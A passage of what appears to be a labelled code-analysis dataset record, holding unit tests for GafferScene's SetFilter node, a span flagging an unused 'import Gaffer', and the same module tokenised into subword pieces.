)\n\t\tself.assertTrue( \"doubleSided\" not in a[\"out\"].attributes( \"/group/plane1\" ) )\n\t\tself.assertTrue( \"doubleSided\" in a[\"out\"].attributes( \"/group\" ) )", "metadata": "root.SetFilterTest.test", "header": "['class', 'SetFilterTest', '(', 'GafferSceneTest', '.', 'SceneTestCase', ')', ':', '___EOS___']", "index": 47 }, { "content": "\tdef testAffects( self ) :\n\n\t\tp1 = GafferScene.Plane()\n\t\tp2 = GafferScene.Plane()\n\t\tg = GafferScene.Group()\n\n\t\tg[\"in\"][0].setInput( p1[\"out\"] )\n\t\tg[\"in\"][1].setInput( p2[\"out\"] )\n\n\t\ts = GafferScene.Set()\n\t\ts[\"in\"].setInput( g[\"out\"] )\n\n\t\ta = GafferScene.StandardAttributes()\n\t\ta[\"in\"].setInput( s[\"out\"] )\n\n\t\t# no filter attached - changing a set should affect only\n\t\t# the globals.\n\n\t\tcs = GafferTest.CapturingSlot( a.plugDirtiedSignal() )\n\n\t\ts[\"paths\"].setValue( IECore.StringVectorData( [ \"/group\" ] ) )\n\t\tself.assertTrue( a[\"out\"][\"set\"] in set( [ c[0] for c in cs ] ) )\n\t\tself.assertTrue( a[\"out\"][\"attributes\"] not in set( [ c[0] for c in cs ] ) )\n\n\t\t# attach a filter - changing a set should affect the\n\t\t# attributes too.\n\n\t\tf = GafferScene.SetFilter()\n\t\ta[\"filter\"].setInput( f[\"out\"] )\n\n\t\tcs = GafferTest.CapturingSlot( a.plugDirtiedSignal() )\n\n\t\ts[\"paths\"].setValue( IECore.StringVectorData( [ \"/group/plane\" ] ) )\n\n\t\tself.assertTrue( a[\"out\"][\"set\"] in set( [ c[0] for c in cs ] ) )\n\t\tself.assertTrue( a[\"out\"][\"attributes\"] in set( [ c[0] for c in cs ] ) )", "metadata": "root.SetFilterTest.testAffects", "header": "['class', 'SetFilterTest', '(', 'GafferSceneTest', '.', 'SceneTestCase', ')', ':', '___EOS___']", "index": 82 }, { "content": "\tdef testMultipleStreams( self ) :\n\n\t\tp1 = GafferScene.Plane()\n\t\tg1 = GafferScene.Group()\n\t\tg1[\"in\"][0].setInput( p1[\"out\"] )\n\t\ts1 = GafferScene.Set()\n\t\ts1[\"in\"].setInput( g1[\"out\"] )\n\t\ts1[\"paths\"].setValue( IECore.StringVectorData( [ \"/group\" ] ) )\n\n\t\tp2 = GafferScene.Plane()\n\t\tg2 = GafferScene.Group()\n\t\tg2[\"in\"][0].setInput( p2[\"out\"] )\n\t\ts2 = GafferScene.Set()\n\t\ts2[\"in\"].setInput( g2[\"out\"] )\n\t\ts2[\"paths\"].setValue( IECore.StringVectorData( [ \"/group/plane\" ] ) )\n\n\t\tf = GafferScene.SetFilter()\n\t\tf[\"set\"].setValue( \"set\" )\n\n\t\ta1 = GafferScene.StandardAttributes()\n\t\ta1[\"in\"].setInput( s1[\"out\"] )\n\t\ta1[\"attributes\"][\"doubleSided\"][\"enabled\"].setValue( True )\n\t\ta1[\"filter\"].setInput( f[\"out\"] )\n\n\t\ta2 = GafferScene.StandardAttributes()\n\t\ta2[\"in\"].setInput( s2[\"out\"] )\n\t\ta2[\"attributes\"][\"doubleSided\"][\"enabled\"].setValue( True )\n\t\ta2[\"filter\"].setInput( f[\"out\"] )\n\n\t\tself.assertSceneValid( a1[\"out\"] )\n\t\tself.assertSceneValid( a2[\"out\"] )\n\n\t\tself.assertTrue( \"doubleSided\" in a1[\"out\"].attributes( \"/group\" ) )\n\t\tself.assertTrue( \"doubleSided\" not in a1[\"out\"].attributes( \"/group/plane\" ) )\n\n\t\tself.assertTrue( \"doubleSided\" not in a2[\"out\"].attributes( \"/group\" ) )\n\t\tself.assertTrue( \"doubleSided\" in a2[\"out\"].attributes( \"/group/plane\" ) )", "metadata": "root.SetFilterTest.testMultipleStreams", "header": "['class', 'SetFilterTest', '(', 'GafferSceneTest', '.', 'SceneTestCase', ')', ':', '___EOS___']", "index": 119 }, { "content": "\tdef testIsolate( self ) :\n\n\t\tp1 = GafferScene.Plane()\n\t\tp2 = GafferScene.Plane()\n\t\tg = GafferScene.Group()\n\t\tg[\"in\"][0].setInput( p1[\"out\"] )\n\t\tg[\"in\"][1].setInput( p2[\"out\"] )\n\n\t\ts1 = GafferScene.Set()\n\t\ts1[\"name\"].setValue( \"set1\" )\n\t\ts1[\"paths\"].setValue( IECore.StringVectorData( [ \"/group/plane\" ] ) )\n\t\ts1[\"in\"].setInput( g[\"out\"] )\n\n\t\ts2 = GafferScene.Set()\n\t\ts2[\"name\"].setValue( \"set2\" )\n\t\ts2[\"paths\"].setValue( IECore.StringVectorData( [ \"/group\", \"/group/plane1\" ] ) )\n\t\ts2[\"in\"].setInput( s1[\"out\"] )\n\n\t\tf = GafferScene.SetFilter()\n\t\tf[\"set\"].setValue( \"set1\" )\n\n\t\ti = GafferScene.Isolate()\n\t\ti[\"in\"].setInput( s2[\"out\"] )\n\t\ti[\"filter\"].setInput( f[\"out\"] )\n\n\t\tself.assertSceneValid( i[\"out\"] )\n\t\tself.assertEqual( i[\"out\"].childNames( \"/group\" ), IECore.InternedStringVectorData( [ \"plane\" ] ) )\n\n\t\tself.assertEqual( i[\"out\"].set( \"set1\" ).value.paths(), [ \"/group/plane\" ] )\n\t\tself.assertEqual( i[\"out\"].set( \"set2\" ).value.paths(), [ \"/group\" ] )", "metadata": "root.SetFilterTest.testIsolate", "header": "['class', 'SetFilterTest', '(', 'GafferSceneTest', '.', 'SceneTestCase', ')', ':', '___EOS___']", "index": 157 }, { "content": "\tdef testNonExistentSets( self ) :\n\n\t\tp = GafferScene.Plane()\n\t\tp[\"sets\"].setValue( \"flatThings\" )\n\n\t\ta = GafferScene.StandardAttributes()\n\t\ta[\"in\"].setInput( p[\"out\"] )\n\t\ta[\"attributes\"][\"doubleSided\"][\"enabled\"].setValue( True )\n\n\t\tself.assertTrue( \"doubleSided\" in a[\"out\"].attributes( \"/plane\" ).keys() )\n\n\t\tf = GafferScene.SetFilter()\n\t\ta[\"filter\"].setInput( f[\"out\"] )\n\n\t\tself.assertFalse( \"doubleSided\" in a[\"out\"].attributes( \"/plane\" ).keys() )\n\n\t\tf[\"set\"].setValue( \"nonExistent\" )\n\t\tself.assertFalse( \"doubleSided\" in a[\"out\"].attributes( \"/plane\" ).keys() )\n\n\t\tf[\"set\"].setValue( \"flatThings\" )\n\t\tself.assertTrue( \"doubleSided\" in a[\"out\"].attributes( \"/plane\" ).keys() )", "metadata": "root.SetFilterTest.testNonExistentSets", "header": "['class', 'SetFilterTest', '(', 'GafferSceneTest', '.', 'SceneTestCase', ')', ':', '___EOS___']", "index": 188 } ]
[ { "span": "import Gaffer", "start_line": 40, "start_column": 0, "end_line": 40, "end_column": 13 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Copy", "right", " ", "(", "c", ")", " ", "2014", ",", " ", "Image", " ", "Engine", " ", "Desig", "n", " ", "Inc", ".", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Redistributi", "on", " ", "and", " ", "use", " ", "in", " ", "source", " ", "and", " ", "binar", "y", " ", "forms", ",", " ", "with", " ", "or", " ", "with", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "modification", ",", " ", "are", " ", "permit", "ted", " ", "provided", " ", "tha", "t", " ", "the", " ", "follow", "ing", " ", "condition", "s", " ", "are", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "met", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "*", " ", "Redistributi", "ons", " ", "of", " ", "source", " ", "code", " ", "must", " ", "retain", " ", "the", " ", "above_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "copyr", "ight", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "following_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "discl", "aime", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "*", " ", "Redistributi", "ons", " ", "in", " ", "binar", "y", " ", "form", " ", "must", " ", "reproduce", " ", "the", " ", "above_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "copyr", "ight", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "following_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "discl", "aime", "r", " ", "in", " ", "the", " ", "documentation", " ", "and", "/", "or", " ", "other", " ", "material", "s", " ", "provided", " ", "with_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "the", " ", "distribu", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "*", " ", "Nei", "ther", " ", "the", " ", "name", " ", "of", " ", "Joh", "n", " ", "Had", "don", " ", "nor", " ", "the", " ", "names", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "any", " ", "other", " ", "contributor", "s", " ", "to", " ", "this", " ", "software", " ", "may", " ", "be", " ", "used", " ", "to", " ", "endo", "rse", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "promote", " ", "products", " ", "derive", "d", " ", "from", " ", "this", " ", "software", " ", "with", "out", " ", "specific", " ", "prior_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "writt", "en", " ", "permissi", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "THIS", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "BY", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "AND", " ", "CONTRIB", "UTO", "RS", " ", "\"", "AS_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "IS", "\"", " ", "AND", " ", "ANY", " ", "EXPR", "ESS", " ", "OR", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", ",", " ", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "THE", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "PUR", "POS", "E", " ", "ARE", " ", "DISC", "LAI", "MED", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "COPY", "RIG", "HT", " ", "OWNER", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "CONTRIB", "UTO", "RS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "DIRECT", ",", " ", "INDI", "RECT", ",", " ", "INC", "IDENT", "AL", ",", " ", "SPECIAL", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "EXE", "MPL", "ARY", ",", " ", "OR", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S", " ", "(", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "PROC", "URE", "MENT", " ", "OF", " ", "SUBST", "ITU", "TE", " ", "GOOD", "S", " ", "OR", " ", "SERVICES", ";", " ", "LOSS", " ", "OF", " ", "USE", ",", " ", "DATA", ",", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "PROF", "IT", "S", ";", " ", "OR", " ", "BUS", "INE", "SS", " ", "INTER", "RU", "PTION", ")", " ", "HO", "WE", "VER", " ", "CAU", "SED", " ", "AND", " ", "ON", " ", "ANY", " ", "THE", "ORY", " ", "OF_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "CONTR", "ACT", ",", " ", "STRI", "CT", " ", "LI", "ABI", "LIT", "Y", ",", " ", "OR", " ", "TOR", "T", " ", "(", "INC", "LU", "DING", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "NEG", "LIG", "ENCE", " ", "OR", " ", "OTHER", "WI", "SE", ")", " ", "ARI", "SIN", "G", " ", "IN", " ", "ANY", " ", "WAY", " ", "OUT", " ", "OF", " ", "THE", " ", "USE", " ", "OF", " ", "THIS", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "SOFT", "WARE", ",", " ", "EVE", "N", " ", "IF", " ", "ADV", "ISE", "D", " ", "OF", " ", "THE", " ", "POS", "SIB", "ILI", "TY", " ", "OF", " ", "SUC", "H", " ", "DA", "MAGE", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "IE", "Core_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "Ga", "ffer", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Ga", "ffer", "Test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Ga", "ffer", "Scene_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Ga", "ffer", "Scen", "e", "Test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "unittest_", "._", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Set", "Filter", "Test_", "(_", "Ga", "ffer", "Scen", "e", "Test_", "._", "Scen", "e", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Set", "Filter", "Test_", "(_", "Ga", "ffer", "Scen", "e", "Test_", "._", "Scen", "e", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "def_", "test_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "p1_", "=_", "Ga", "ffer", "Scene_", "._", "Plane_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p2_", "=_", "Ga", "ffer", "Scene_", "._", "Plane_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "Ga", "ffer", "Scene_", "._", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "g_", "[_", "\"", "in", "\"_", "]_", "[_", "0_", "]_", "._", "set", "Input_", "(_", "p1_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "[_", "\"", "in", "\"_", "]_", "[_", "1_", "]_", "._", "set", "Input_", "(_", "p2_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "=_", "Ga", "ffer", "Scene_", "._", "Set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "[_", "\"", "in", "\"_", "]_", "._", "set", "Input_", "(_", "g_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "[_", "\"", "path", "s", "\"_", "]_", "._", "set", "Value_", "(_", "IE", "Core_", "._", "String", "Vector", "Data_", "(_", "[_", "\"/", "group", "/", "plane", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "Ga", "ffer", "Scene_", "._", "Set", "Filter_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "[_", "\"", "set", "\"_", "]_", "._", "set", "Value_", "(_", "\"", "set", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "Ga", "ffer", "Scene_", "._", "Standard", "Attributes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "[_", "\"", "in", "\"_", "]_", "._", "set", "Input_", "(_", "s_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "[_", "\"", "attribute", "s", "\"_", "]_", "[_", "\"", "double", "Side", "d", "\"_", "]_", "[_", "\"", "enable", "d", "\"_", "]_", "._", "set", "Value_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "[_", "\"", "filter", "\"_", "]_", "._", "set", "Input_", "(_", "f_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Scen", "e", "Valid_", "(_", "a_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "double", "Side", "d", "\"_", "in_", "a_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "group", "/", "plane", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "double", "Side", "d", "\"_", "not_", "in_", "a_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "group", "/", "plane", "1", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "double", "Side", "d", "\"_", "not_", "in_", "a_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "group", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "[_", "\"", "path", "s", "\"_", "]_", "._", "set", "Value_", "(_", "IE", "Core_", "._", "String", "Vector", "Data_", "(_", "[_", "\"/", "group", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Scen", "e", "Valid_", "(_", "a_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "double", "Side", "d", "\"_", "not_", "in_", "a_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "group", "/", "plane", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "double", "Side", "d", "\"_", "not_", "in_", "a_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "group", "/", "plane", "1", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "double", "Side", "d", "\"_", "in_", "a_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "group", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Set", "Filter", "Test_", "(_", "Ga", "ffer", "Scen", "e", "Test_", "._", "Scen", "e", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Affect", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "p1_", "=_", "Ga", "ffer", "Scene_", "._", "Plane_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p2_", "=_", "Ga", "ffer", "Scene_", "._", "Plane_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "Ga", "ffer", "Scene_", "._", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "g_", "[_", "\"", "in", "\"_", "]_", "[_", "0_", "]_", "._", "set", "Input_", "(_", "p1_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "[_", "\"", "in", "\"_", "]_", "[_", "1_", "]_", "._", "set", "Input_", "(_", "p2_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "=_", "Ga", "ffer", "Scene_", "._", "Set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "[_", "\"", "in", "\"_", "]_", "._", "set", "Input_", "(_", "g_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "Ga", "ffer", "Scene_", "._", "Standard", "Attributes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "[_", "\"", "in", "\"_", "]_", "._", "set", "Input_", "(_", "s_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "no", " ", "filter", " ", "attache", "d", " ", "-", " ", "chang", "ing", " ", "a", " ", "set", " ", "shou", "ld", " ", "affect", " ", "only_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "globals", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cs_", "=_", "Ga", "ffer", "Test_", "._", "Captur", "ing", "Slot_", "(_", "a_", "._", "plug", "Dir", "tied", "Signal_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "[_", "\"", "path", "s", "\"_", "]_", "._", "set", "Value_", "(_", "IE", "Core_", "._", "String", "Vector", "Data_", "(_", "[_", "\"/", "group", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "a_", "[_", "\"", "out", "\"_", "]_", "[_", "\"", "set", "\"_", "]_", "in_", "set_", "(_", "[_", "c_", "[_", "0_", "]_", "for_", "c_", "in_", "cs_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "a_", "[_", "\"", "out", "\"_", "]_", "[_", "\"", "attribute", "s", "\"_", "]_", "not_", "in_", "set_", "(_", "[_", "c_", "[_", "0_", "]_", "for_", "c_", "in_", "cs_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "attach", " ", "a", " ", "filter", " ", "-", " ", "chang", "ing", " ", "a", " ", "set", " ", "shou", "ld", " ", "affect", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "attribute", "s", " ", "too", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "Ga", "ffer", "Scene_", "._", "Set", "Filter_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "[_", "\"", "filter", "\"_", "]_", "._", "set", "Input_", "(_", "f_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cs_", "=_", "Ga", "ffer", "Test_", "._", "Captur", "ing", "Slot_", "(_", "a_", "._", "plug", "Dir", "tied", "Signal_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "[_", "\"", "path", "s", "\"_", "]_", "._", "set", "Value_", "(_", "IE", "Core_", "._", "String", "Vector", "Data_", "(_", "[_", "\"/", "group", "/", "plane", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "a_", "[_", "\"", "out", "\"_", "]_", "[_", "\"", "set", "\"_", "]_", "in_", "set_", "(_", "[_", "c_", "[_", "0_", "]_", "for_", "c_", "in_", "cs_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "a_", "[_", "\"", "out", "\"_", "]_", "[_", "\"", "attribute", "s", "\"_", "]_", "in_", "set_", "(_", "[_", "c_", "[_", "0_", "]_", "for_", "c_", "in_", "cs_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Set", "Filter", "Test_", "(_", "Ga", "ffer", "Scen", "e", "Test_", "._", "Scen", "e", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Multipl", "e", "Stream", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "p1_", "=_", "Ga", "ffer", "Scene_", "._", "Plane_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g1_", "=_", "Ga", "ffer", "Scene_", "._", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g1_", "[_", "\"", "in", "\"_", "]_", "[_", "0_", "]_", "._", "set", "Input_", "(_", "p1_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s1_", "=_", "Ga", "ffer", "Scene_", "._", "Set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s1_", "[_", "\"", "in", "\"_", "]_", "._", "set", "Input_", "(_", "g1_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s1_", "[_", "\"", "path", "s", "\"_", "]_", "._", "set", "Value_", "(_", "IE", "Core_", "._", "String", "Vector", "Data_", "(_", "[_", "\"/", "group", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p2_", "=_", "Ga", "ffer", "Scene_", "._", "Plane_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g2_", "=_", "Ga", "ffer", "Scene_", "._", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g2_", "[_", "\"", "in", "\"_", "]_", "[_", "0_", "]_", "._", "set", "Input_", "(_", "p2_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s2_", "=_", "Ga", "ffer", "Scene_", "._", "Set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s2_", "[_", "\"", "in", "\"_", "]_", "._", "set", "Input_", "(_", "g2_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s2_", "[_", "\"", "path", "s", "\"_", "]_", "._", "set", "Value_", "(_", "IE", "Core_", "._", "String", "Vector", "Data_", "(_", "[_", "\"/", "group", "/", "plane", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "Ga", "ffer", "Scene_", "._", "Set", "Filter_", "(_", ")_", 